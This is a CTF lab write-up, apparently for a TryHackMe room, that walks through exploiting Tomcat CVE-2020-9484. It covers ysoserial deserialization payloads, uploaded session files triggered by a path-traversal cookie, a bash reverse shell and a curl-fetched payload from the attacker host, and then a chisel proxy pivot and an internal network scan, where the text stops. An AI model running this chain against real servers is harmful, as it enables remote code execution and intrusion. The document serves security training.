- Link: https://tryhackme.com/room/certaindoom
- Difficulty: Hard
- Creator: Hydragyrum
Old Components Lead to Certain Doom! Link to heading
Welcome back to a brand new room on TryHackMe. After a bit of a hiatus, I built this room on and off again after seeing a cute exploit during a local CTF at work. The premise is straightforward: The user sees a seemingly innocuous website which has a few secrets hidden behind.
First Steps: Reconnaissance Link to heading
Once we’ve booted the machine up and waited a few minutes, we hit the target with a simple nmap scan.
nmap certaindoom.thm -sC -sV -T4 -v
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-25 15:55 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:55
Completed NSE at 15:55, 0.00s elapsed
Initiating NSE at 15:55
Completed NSE at 15:55, 0.00s elapsed
Initiating NSE at 15:55
Completed NSE at 15:55, 0.00s elapsed
Initiating Ping Scan at 15:55
Scanning certaindoom.thm (10.10.209.34) [2 ports]
Completed Ping Scan at 15:55, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 15:55
Scanning certaindoom.thm (10.10.209.34) [1000 ports]
Discovered open port 8080/tcp on 10.10.209.34
Discovered open port 80/tcp on 10.10.209.34
Discovered open port 22/tcp on 10.10.209.34
Completed Connect Scan at 15:55, 35.10s elapsed (1000 total ports)
Initiating Service scan at 15:55
Scanning 3 services on certaindoom.thm (10.10.209.34)
Completed Service scan at 15:57, 124.75s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.209.34.
Initiating NSE at 15:57
Completed NSE at 15:58, 18.92s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 2.91s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Nmap scan report for certaindoom.thm (10.10.209.34)
Host is up (0.68s latency).
Not shown: 960 filtered tcp ports (no-response), 36 filtered tcp ports (host-unreach)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:69:84:5c:69:01:42:2d:da:01:3e:13:a6:db:2f:c3 (RSA)
| 256 cc:55:d5:72:1d:be:03:85:d5:7e:3e:1a:d6:72:2c:2c (ECDSA)
|_ 256 08:34:3b:e0:5d:d1:37:d4:68:28:6b:cf:e2:f1:53:ed (ED25519)
80/tcp open http hastatic-1.0.0
|_http-title: Super Secret Admin Page
|_http-server-header: hastatic-1.0.0
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Length: 117674
| Accept-Ranges: bytes
| Date: Mon, 25 Sep 2023 19:55:55 GMT
| Server: hastatic-1.0.0
| Content-Type: text/html
| Cache-Control: no-transform,public,max-age=300,s-maxage=900
| Last-Modified: Thu, 26-Jan-2023 22:44:29 UTC
| ETag: 98eb1c6fb079742e0b8682cb642c5c777329ebbe
| Vary: Accept-Encoding
| Referrer-Policy: strict-origin-when-cross-origin
| X-Frame-Options: SAMEORIGIN
| X-XSS-Protection: 1; mode=block| <!doctype html>
| <html class="no-js" lang="">
| <head>
| <meta charset="utf-8">
| <title>Super Secret Admin Page</title>
| <meta name="description" content="">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta property="og:title" content="Hydra's Super Secret Admin Page">
| <meta property="og:type" content="website">
| <meta property="og:url" content="https://admin.certain-doom.thm">
|_ <meta property="og:image" content="">
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
8080/tcp open http-proxy Apache Tomcat 9?
|_http-title: HTTP Status 404 \xE2\x80\x93 Not Found
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 404
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 431
| Date: Mon, 25 Sep 2023 19:55:55 GMT
| Connection: close
| Server: Apache Tomcat 9?| <!doctype html><html lang="en"><head><title>HTTP Status 404
| Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404
| Found</h1></body></html>
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Mon, 25 Sep 2023 19:55:55 GMT
| Connection: close
| Server: Apache Tomcat 9?| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
|_http-server-header: Apache Tomcat 9?
9090/tcp closed zeus-admin
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94%I=7%D=9/25%Time=6511E5CA%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,31D8,"HTTP/1\.0\x20200\x20OK\r\nContent-Length:\x20117674\r\nAcc
SF:ept-Ranges:\x20bytes\r\nDate:\x20Mon,\x2025\x20Sep\x202023\x2019:55:55\
SF:x20GMT\r\nServer:\x20hastatic-1\.0\.0\r\nContent-Type:\x20text/html\r\n
SF:Cache-Control:\x20no-transform,public,max-age=300,s-maxage=900\r\nLast-
SF:Modified:\x20Thu,\x2026-Jan-2023\x2022:44:29\x20UTC\r\nETag:\x2098eb1c6
SF:fb079742e0b8682cb642c5c777329ebbe\r\nVary:\x20Accept-Encoding\r\nReferr
SF:er-Policy:\x20strict-origin-when-cross-origin\r\nX-Frame-Options:\x20SA
SF:MEORIGIN\r\nX-XSS-Protection:\x201;\x20mode=block\r\n\r\n<!doctype\x20h
SF:tml>\n<html\x20class=\"no-js\"\x20lang=\"\">\n\n<head>\n\x20\x20<meta\x
SF:20charset=\"utf-8\">\n\x20\x20<title>Super\x20Secret\x20Admin\x20Page</
SF:title>\n\x20\x20<meta\x20name=\"description\"\x20content=\"\">\n\x20\x2
SF:0<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial
SF:-scale=1\">\n\n\x20\x20<meta\x20property=\"og:title\"\x20content=\"Hydr
SF:a's\x20Super\x20Secret\x20Admin\x20Page\">\n\x20\x20<meta\x20property=\
SF:"og:type\"\x20content=\"website\">\n\x20\x20<meta\x20property=\"og:url\
SF:"\x20content=\"https://admin\.certain-doom\.thm\">\n\x20\x20<meta\x20pr
SF:operty=\"og:image\"\x20content=\"\">\n\x20\x20<m")%r(HTTPOptions,31D8,"
SF:HTTP/1\.0\x20200\x20OK\r\nContent-Length:\x20117674\r\nAccept-Ranges:\x
SF:20bytes\r\nDate:\x20Mon,\x2025\x20Sep\x202023\x2019:55:55\x20GMT\r\nSer
SF:ver:\x20hastatic-1\.0\.0\r\nContent-Type:\x20text/html\r\nCache-Control
SF::\x20no-transform,public,max-age=300,s-maxage=900\r\nLast-Modified:\x20
SF:Thu,\x2026-Jan-2023\x2022:44:29\x20UTC\r\nETag:\x2098eb1c6fb079742e0b86
SF:82cb642c5c777329ebbe\r\nVary:\x20Accept-Encoding\r\nReferrer-Policy:\x2
SF:0strict-origin-when-cross-origin\r\nX-Frame-Options:\x20SAMEORIGIN\r\nX
SF:-XSS-Protection:\x201;\x20mode=block\r\n\r\n<!doctype\x20html>\n<html\x
SF:20class=\"no-js\"\x20lang=\"\">\n\n<head>\n\x20\x20<meta\x20charset=\"u
SF:tf-8\">\n\x20\x20<title>Super\x20Secret\x20Admin\x20Page</title>\n\x20\
SF:x20<meta\x20name=\"description\"\x20content=\"\">\n\x20\x20<meta\x20nam
SF:e=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n
SF:\n\x20\x20<meta\x20property=\"og:title\"\x20content=\"Hydra's\x20Super\
SF:x20Secret\x20Admin\x20Page\">\n\x20\x20<meta\x20property=\"og:type\"\x2
SF:0content=\"website\">\n\x20\x20<meta\x20property=\"og:url\"\x20content=
SF:\"https://admin\.certain-doom\.thm\">\n\x20\x20<meta\x20property=\"og:i
SF:mage\"\x20content=\"\">\n\x20\x20<m");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8080-TCP:V=7.94%I=7%D=9/25%Time=6511E5CA%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,264,"HTTP/1\.1\x20404\x20\r\nContent-Type:\x20text/html;charse
SF:t=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20431\r\nDate:\x
SF:20Mon,\x2025\x20Sep\x202023\x2019:55:55\x20GMT\r\nConnection:\x20close\
SF:r\nServer:\x20Apache\x20Tomcat\x209\?\r\n\r\n<!doctype\x20html><html\x2
SF:0lang=\"en\"><head><title>HTTP\x20Status\x20404\x20\xe2\x80\x93\x20Not\
SF:x20Found</title><style\x20type=\"text/css\">body\x20{font-family:Tahoma
SF:,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;backgroun
SF:d-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;}
SF:\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:bl
SF:ack;}\x20\.line\x20{height:1px;background-color:#525D76;border:none;}</
SF:style></head><body><h1>HTTP\x20Status\x20404\x20\xe2\x80\x93\x20Not\x20
SF:Found</h1></body></html>")%r(HTTPOptions,264,"HTTP/1\.1\x20404\x20\r\nC
SF:ontent-Type:\x20text/html;charset=utf-8\r\nContent-Language:\x20en\r\nC
SF:ontent-Length:\x20431\r\nDate:\x20Mon,\x2025\x20Sep\x202023\x2019:55:55
SF:\x20GMT\r\nConnection:\x20close\r\nServer:\x20Apache\x20Tomcat\x209\?\r
SF:\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x20Statu
SF:s\x20404\x20\xe2\x80\x93\x20Not\x20Found</title><style\x20type=\"text/c
SF:ss\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3
SF:,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{font-size:2
SF:2px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{fo
SF:nt-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;backgrou
SF:nd-color:#525D76;border:none;}</style></head><body><h1>HTTP\x20Status\x
SF:20404\x20\xe2\x80\x93\x20Not\x20Found</h1></body></html>")%r(RTSPReques
SF:t,268,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;charset=utf-8
SF:\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\nDate:\x20Mon,\
SF:x2025\x20Sep\x202023\x2019:55:55\x20GMT\r\nConnection:\x20close\r\nServ
SF:er:\x20Apache\x20Tomcat\x209\?\r\n\r\n<!doctype\x20html><html\x20lang=\
SF:"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Requ
SF:est</title><style\x20type=\"text/css\">body\x20{font-family:Tahoma,Aria
SF:l,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;background-col
SF:or:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h
SF:3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}
SF:\x20\.line\x20{height:1px;background-color:#525D76;border:none;}</style
SF:></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Reque
SF:st</h1></body></html>");
NSE: Script Post-scanning.
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 181.99 seconds
So we see a static HTML server serving a super secret dashboard, and a Tomcat version 9.something, assuming the server headers are telling the truth, as they’ve clearly been trafficked.
Static Server Recon Link to heading
Let’s take the bait and see what the static server is. Maybe there’s something interesting hidden that we can use for later. Loading up Firefox, we visit the site and…
Shocking! It’s a trap that redirects us to a well known youtube video after it’s had its fun.
Back to the Cat Link to heading
Ok let’s take a closer look at our supposed tomcat.
We indeed have some version of Tomcat acting as our application server. It’s supposedly a 9.x version as well, let’s trust that for now. We want to get to an actual web app though. Trying a few standard Tomcat URLs by hand nets us a bunch of 404s, so let’s fuzz the service.
Fuzzy Kitties Link to heading
ffuf
is a pretty decent all-purpose fuzzer which lets us scan a multitude of different parts of a site reasonably quickly. We just want a simple directory scan, and I like to try the big.txt
list first.
ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://certaindoom.thm:8080/FUZZ/
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://certaindoom.thm:8080/FUZZ/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 4599, Words: 933, Lines: 67, Duration: 3609ms]
* FUZZ: reports
:: Progress: [20476/20476] :: Job [1/1] :: 25 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
CERT Link to heading
We see a hit on the /reports/
endpoint, so let’s take a closer look:
All we see is a generic website containing a file upload form. Let’s try the obvious and upload a JSP shell. I got this one from https://www.revshells.com.
Uploading the file IS allowed, but it’s unfortunately dumped outside the Tomcat webapps path. We’ll need a plan B.
ExploitDB has nothing of particular note. We can try a ghostcat exploit, but the AJP port (usually 8009) has been locked down. After a cursory google search for Tomcat 9 file upload rce
, we come across Apache’s vulnerability disclosure page which can give us a few hints https://tomcat.apache.org/security-9.html. Running through the list, we see an important RCE that was fixed in Tomcat 9.0.35 listed under CVE-2020-9484.
Cookies for Breakfast Link to heading
With the notes in the vulnerability disclosure, and some knowledge of Tomcat’s inner workings, we can begin to guess at how this exploit works. The Tomcat PersistanceManager will store session variables as a serialized Java object in a file. When it needs to retrieve the settings, we will deserialize the file and thus read the information we want, or in our case, execute some code.
First we’ll need to craft a few payloads. Now we can probably do something like for Log4Shell and generate a class and compile it, but the exact semantics are tricky and may not always work. Instead we can use a tool like ysoserial to do all the hard work for us.
We’ll need a payload to execute. A simple bash reverse shell called payload.sh
should do the trick:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/$remote_ip/$remote_port 0>&1'
Next we’ll want to generate our payloads to download the file to the machine, set it as executable, and finally execute the file. For this, we can grab the ysoserial jar from the github page at https://github.com/frohoff/ysoserial (v0.0.6 should work).
We’ll also need to get a java toolchain installed if we don’t already have one. We’ll generally want to try to match versions with what’s on the server. Tomcat 9 is old, but not that old. We need at least Java 8 to run it, but the hint says that our lucky number is 11, so perhaps this means that we’ll need a Java 11 JDK. I like using the excellent SDKMan to manage my JDKs, but any method should work. We’ll need to create fake sessions to execute our code, so let’s generate our cookies:
java -jar ysoserial-all.jar CommonsCollections2 "curl http://$remote_ip/payload.sh -o /tmp/payload.sh" > downloadPayload.session
java -jar ysoserial-all.jar CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session
java -jar ysoserial-all.jar CommonsCollections2 "bash /tmp/playload.sh" > executePayload.session
We’ll also need a web server to host the payload.sh
file. The standard python web server is fine, but your favourite server will also work. The command we serialized assumes port 80, so be sure to take this into account as well.
We’ve already uploaded one file, so let’s upload the rest of our sessions.
curl http://certaindoom.thm:8080/reports/upload -F '[email protected]'
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Upload Result</title>
</head>
<body>
<h2>File /usr/local/tomcat/temp/uploads/downloadPayload.session has uploaded successfully!</h2>
</body>
</html>
curl http://certaindoom.thm:8080/reports/upload -F '[email protected]'
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Upload Result</title>
</head>
<body>
<h2>File /usr/local/tomcat/temp/uploads/chmodPayload.session has uploaded successfully!</h2>
</body>
</html>
curl http://certaindoom.thm:8080/reports/upload -F '[email protected]'
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Upload Result</title>
</head>
<body>
<h2>File /usr/local/tomcat/temp/uploads/executePayload.session has uploaded successfully!</h2>
</body>
</html>
Bringing it all together Link to heading
Starting up our favourite reverse shell catcher (I’m liking pwncat-cs
these days, but nc works well enough if you’re careful), we can begin to execute our payload. To do this, we simply need to visit the site while setting the COOKIE
header to the files that we uploaded in sequence. We’ll get a bunch of 500
errors, but that’s ok.
curl http://certaindoom.thm:8080/reports/ -H 'Cookie: JSESSIONID=../../../../../../../../../usr/local/tomcat/temp/uploads/downloadPayload'
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1></body></html>
curl http://certaindoom.thm:8080/reports/ -H 'Cookie: JSESSIONID=../../../../../../../../../usr/local/tomcat/temp/uploads/chmodPayload'
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1></body></html>
curl http://certaindoom.thm:8080/reports/ -H 'Cookie: JSESSIONID=../../../../../../../../../usr/local/tomcat/temp/uploads/executePayload'
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1></body></html>
If we’re lucky and we did everything correctly, we should now have caught a shell.
whoami && id && pwd && date
root
uid=0(root) gid=0(root) groups=0(root)
/usr/local/tomcat
Fri Sep 29 16:06:38 UTC 2023
We can script all this (and someone already has here https://github.com/PenTestical/CVE-2020-9484) to end up with a credible autopwn
Grabbing the Web Flag! Link to heading
We can find the flag and try to look around the system
find -name "*flag*"
./.flag
wc -c .flag
38 .flag
Snooping Around Link to heading
So we got the web flag, but there are two others to find. Snooping around the system, we find that we’re inside a docker container, and there aren’t any other flags inside. We therefore must be on a network, but there are no real networking tools on the machine. Let’s look at a few files to see what we can find.
cat /etc/resolv.conf
search eu-west-1.compute.internal thm
nameserver 127.0.0.11
options ndots:0
cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.20.0.4 2c5b93ea49de
172.18.0.3 2c5b93ea49de
Our current host appears to be on two different networks. Let’s try to see if we can find anything interesting, but first we’ll need to set up a proxy (Well, we don’t but it’ll make our lives much easier).
Chisel Through the Other Side Link to heading
I used Chisel as a proxy, which sets up a SOCKS5 proxy on our local host. Then we’ll use proxychains-ng
to proxy our commands.
We’ll set up the server for a reverse proxy on our attackbox as follows: chisel server -p 9001 --reverse &
. When we connect with our client, we’ll be able to set up the proxy.
First we need to get the binary onto the remote server. Chisel uses the same binary for client and server, which is convenient. We can try to upload the binary via the file upload form:
curl http://certaindoom.thm:8080/reports/upload -F 'uploadFile=@chisel'
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Upload Result</title>
</head>
<body>
<h2>There was an error: The field uploadFile exceeds its maximum permitted size of 5242880 bytes.</h2>
</body>
</html>
Ah our file is too big. Not to worry, as we have RCE and should have a reverse shell, and a webserver lying around. Let’s use curl on the server to download the file:
curl http://$attacker_ip/chisel -o chisel
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 8452k 100 8452k 0 0 2569k 0 0:00:03 0:00:03 --:--:-- 2568k
We can set the executable bit and connect the client to our server with ./chisel client $attacker_ip:9001 R:socks
This will create a socks proxy on port 1080 on our attacking machine.
Mapping out the networks Link to heading
We’ll want to configure our proxychains to use the new socks5 proxy we made. For this we simply need to drop a simple config file in our current directory.
Next, we can attack with an nmap scan of the networks. (you can exclude 172.x.0.1
, which is the host).
the 172.18
network is the equivalent to the host network. It’s what’s allowed through when we scan the machine at first. The 172.20
network is a bit more interesting though. We can exclude 172.20.0.4
as well, since we already know that it’s our current remote server.
Let’s see what we can get (this may take a while):
proxychains4 -q nmap 172.20.0.0/29 -v -sC -sV -T4 --exclude 172.20.0.0/31,172.20.0.4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-11 12:02 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:02
Completed NSE at 12:02, 0.00s elapsed
Initiating NSE at 12:02
Completed NSE at 12:02, 0.00s elapsed
Initiating NSE at 12:02
Completed NSE at 12:02, 0.00s elapsed
Initiating Ping Scan at 12:02
Scanning 5 hosts [2 ports/host]
Completed Ping Scan at 12:02, 0.65s elapsed (5 total hosts)
Initiating Parallel DNS resolution of 5 hosts. at 12:02
Completed Parallel DNS resolution of 5 hosts. at 12:02, 1.19s elapsed
Initiating Connect Scan at 12:02
Scanning 5 hosts [1000 ports/host]
Discovered open port 8080/tcp on 172.20.0.3
Discovered open port 80/tcp on 172.20.0.2
Connect Scan Timing: About 5.12% done; ETC: 12:12 (0:09:34 remaining)
Connect Scan Timing: About 10.14% done; ETC: 12:12 (0:09:01 remaining)
Connect Scan Timing: About 15.18% done; ETC: 12:12 (0:08:28 remaining)
Connect Scan Timing: About 20.70% done; ETC: 12:12 (0:07:55 remaining)
Connect Scan Timing: About 26.14% done; ETC: 12:12 (0:07:24 remaining)
Connect Scan Timing: About 31.14% done; ETC: 12:12 (0:06:54 remaining)
Connect Scan Timing: About 36.16% done; ETC: 12:12 (0:06:23 remaining)
Connect Scan Timing: About 41.64% done; ETC: 12:12 (0:05:50 remaining)
Connect Scan Timing: About 47.16% done; ETC: 12:12 (0:05:17 remaining)
Connect Scan Timing: About 52.60% done; ETC: 12:12 (0:04:45 remaining)
Connect Scan Timing: About 57.58% done; ETC: 12:12 (0:04:15 remaining)
Connect Scan Timing: About 63.04% done; ETC: 12:12 (0:03:42 remaining)
Connect Scan Timing: About 68.52% done; ETC: 12:12 (0:03:09 remaining)
Connect Scan Timing: About 74.04% done; ETC: 12:12 (0:02:36 remaining)
Connect Scan Timing: About 79.52% done; ETC: 12:12 (0:02:03 remaining)
Completed Connect Scan against 172.20.0.3 in 478.98s (4 hosts left)
Completed Connect Scan against 172.20.0.5 in 480.17s (3 hosts left)
Completed Connect Scan against 172.20.0.2 in 486.58s (2 hosts left)
Completed Connect Scan against 172.20.0.7 in 499.45s (1 host left)
Connect Scan Timing: About 85.04% done; ETC: 12:12 (0:01:31 remaining)
Connect Scan Timing: About 90.44% done; ETC: 12:12 (0:00:59 remaining)
Completed Connect Scan at 12:12, 635.78s elapsed (5000 total ports)
Initiating Service scan at 12:12
Scanning 2 services on 5 hosts
WARNING: Service 172.20.0.3:8080 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Service scan Timing: About 50.00% done; ETC: 12:13 (0:00:39 remaining)
Completed Service scan at 12:15, 148.76s elapsed (2 services on 5 hosts)
NSE: Script scanning 5 hosts.
Initiating NSE at 12:15
Completed NSE at 12:15, 18.41s elapsed
Initiating NSE at 12:15
Completed NSE at 12:15, 1.26s elapsed
Initiating NSE at 12:15
Completed NSE at 12:15, 0.00s elapsed
Nmap scan report for 172.20.0.2
Host is up (0.084s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http hastatic-1.0.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Length: 6983
| Accept-Ranges: bytes
| Date: Wed, 11 Oct 2023 16:12:45 GMT
| Server: hastatic-1.0.0
| Content-Type: text/html
| Cache-Control: no-transform,public,max-age=300,s-maxage=900
| Last-Modified: Wed, 09-Aug-2023 08:46:38 UTC
| ETag: f35af4907f0d1060743066497fa66a555cc53497
| Vary: Accept-Encoding
| Referrer-Policy: strict-origin-when-cross-origin
| X-Frame-Options: SAMEORIGIN
| X-XSS-Protection: 1; mode=block
| <!doctype html><html dir=ltr lang=en class=hydrated data-stencil-build=hos5z7x3><head><meta charset="utf-8">
| <title>Document Library</title>
| <meta name=Description content="Get Documents, or something">
| <meta name=viewport content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=5.0, viewport-fit=cover">
| <meta name="theme-color" content=#16161d>
| <meta name="apple-mobile-web-app-capable" content=yes>
|_ <meta http-equiv="x-ua-compatible"
|_http-server-header: hastatic-1.0.0
|_http-title: Document Library
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94%I=7%D=10/11%Time=6526C97C%P=x86_64-pc-linux-gnu%r(Get
SF:Request,1CFE,"HTTP/1\.0\x20200\x20OK\r\nContent-Length:\x206983\r\nAcce
SF:pt-Ranges:\x20bytes\r\nDate:\x20Wed,\x2011\x20Oct\x202023\x2016:12:45\x
SF:20GMT\r\nServer:\x20hastatic-1\.0\.0\r\nContent-Type:\x20text/html\r\nC
SF:ache-Control:\x20no-transform,public,max-age=300,s-maxage=900\r\nLast-M
SF:odified:\x20Wed,\x2009-Aug-2023\x2008:46:38\x20UTC\r\nETag:\x20f35af490
SF:7f0d1060743066497fa66a555cc53497\r\nVary:\x20Accept-Encoding\r\nReferre
SF:r-Policy:\x20strict-origin-when-cross-origin\r\nX-Frame-Options:\x20SAM
SF:EORIGIN\r\nX-XSS-Protection:\x201;\x20mode=block\r\n\r\n<!doctype\x20ht
SF:ml><html\x20dir=ltr\x20lang=en\x20class=hydrated\x20data-stencil-build=
SF:hos5z7x3><head><meta\x20charset=\"utf-8\">\n<title>Document\x20Library<
SF:/title>\n<meta\x20name=Description\x20content=\"Get\x20Documents,\x20or
SF:\x20something\">\n<meta\x20name=viewport\x20content=\"width=device-widt
SF:h,\x20initial-scale=1\.0,\x20minimum-scale=1\.0,\x20maximum-scale=5\.0,
SF:\x20viewport-fit=cover\">\n<meta\x20name=\"theme-color\"\x20content=#16
SF:161d>\n<meta\x20name=\"apple-mobile-web-app-capable\"\x20content=yes>\n
SF:<meta\x20http-equiv=\"x-ua-compatible\"")%r(HTTPOptions,1CFE,"HTTP/1\.0
SF:\x20200\x20OK\r\nContent-Length:\x206983\r\nAccept-Ranges:\x20bytes\r\n
SF:Date:\x20Wed,\x2011\x20Oct\x202023\x2016:12:45\x20GMT\r\nServer:\x20has
SF:tatic-1\.0\.0\r\nContent-Type:\x20text/html\r\nCache-Control:\x20no-tra
SF:nsform,public,max-age=300,s-maxage=900\r\nLast-Modified:\x20Wed,\x2009-
SF:Aug-2023\x2008:46:38\x20UTC\r\nETag:\x20f35af4907f0d1060743066497fa66a5
SF:55cc53497\r\nVary:\x20Accept-Encoding\r\nReferrer-Policy:\x20strict-ori
SF:gin-when-cross-origin\r\nX-Frame-Options:\x20SAMEORIGIN\r\nX-XSS-Protec
SF:tion:\x201;\x20mode=block\r\n\r\n<!doctype\x20html><html\x20dir=ltr\x20
SF:lang=en\x20class=hydrated\x20data-stencil-build=hos5z7x3><head><meta\x2
SF:0charset=\"utf-8\">\n<title>Document\x20Library</title>\n<meta\x20name=
SF:Description\x20content=\"Get\x20Documents,\x20or\x20something\">\n<meta
SF:\x20name=viewport\x20content=\"width=device-width,\x20initial-scale=1\.
SF:0,\x20minimum-scale=1\.0,\x20maximum-scale=5\.0,\x20viewport-fit=cover\
SF:">\n<meta\x20name=\"theme-color\"\x20content=#16161d>\n<meta\x20name=\"
SF:apple-mobile-web-app-capable\"\x20content=yes>\n<meta\x20http-equiv=\"x
SF:-ua-compatible\"");
Nmap scan report for 172.20.0.3
Host is up (0.084s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
8080/tcp open rtsp
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
|_http-title: Site doesn't have a title.
